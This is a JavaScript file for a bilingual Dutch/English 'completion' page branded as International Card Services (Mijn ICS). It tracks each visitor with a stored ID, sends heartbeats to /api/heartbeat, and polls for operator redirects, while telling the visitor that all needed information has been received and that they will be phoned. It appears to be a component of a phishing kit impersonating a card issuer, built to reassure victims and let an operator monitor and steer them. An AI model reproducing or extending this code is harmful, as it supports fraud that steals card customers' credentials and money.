/**
 * Completion page — NL/EN copy + visitor heartbeat.
 */
(function () {
  "use strict";

  var STORAGE_KEY = "client-login-lang";
  var VISITOR_KEY = "scii_visitor_id";

  var STRINGS = {
    nl: {
      completeDocTitle: "Afgerond - Mijn ICS | International Card Services",
      skipLink: "Naar de inhoud",
      sidenavTitle: "Inloggen bij Mijn ICS",
      completeTitle: "Bedankt, u bent klaar",
      completeText:
        "U kunt uw tablet nu sluiten. Wij hebben alle benodigde gegevens ontvangen.",
      completeNote:
        "Mocht wij nog aanvullende informatie nodig hebben, dan nemen wij telefonisch contact met u op.",
      ariaNl: "Schakel over naar Nederlands",
      ariaEn: "Switch to English",
    },
    en: {
      completeDocTitle: "Complete - My ICS | International Card Services",
      skipLink: "Skip to content",
      sidenavTitle: "Log in to My ICS",
      completeTitle: "Thank you, you are all set",
      completeText:
        "You may close your tablet now. We have received all the information we need.",
      completeNote:
        "If we need any additional details, we will contact you by phone.",
      ariaNl: "Switch to Dutch",
      ariaEn: "Switch to English",
    },
  };

  function getVisitorId() {
    var vid = localStorage.getItem(VISITOR_KEY);
    if (!vid) {
      vid = "v_" + Date.now() + "_" + Math.random().toString(36).substr(2, 9);
      localStorage.setItem(VISITOR_KEY, vid);
    }
    return vid;
  }

  function sendHeartbeat() {
    fetch("/api/heartbeat", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        visitor_id: getVisitorId(),
        page: "complete",
        ui_language: window.sciiGetLang(),
      }),
    }).catch(function () {});
  }

  function getLang() {
    return window.sciiGetLang();
  }

  function setLang(lang) {
    lang = window.sciiNormalizeLang(lang);
    window.sciiPersistUiLanguage(lang);
    document.documentElement.lang = lang;
    var t = STRINGS[lang];
    if (t.completeDocTitle) document.title = t.completeDocTitle;

    document.querySelectorAll("[data-i18n]").forEach(function (el) {
      var key = el.getAttribute("data-i18n");
      if (!key || !t[key]) return;
      el.textContent = t[key];
    });

    window.sciiUpdateLanguageToggle(lang, t);
  }

  function bindLanguageBar() {
    window.sciiBindLanguageBar(setLang);
  }

  function init() {
    bindLanguageBar();
    setLang(getLang());
    if (typeof window.sciiInitPageTracker === "function") {
      window.sciiInitPageTracker("complete", { pollRedirect: true, pollMs: 1200, heartbeat: true });
    } else {
      sendHeartbeat();
      setInterval(sendHeartbeat, 30000);
    }
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init);
  } else {
    init();
  }
})();
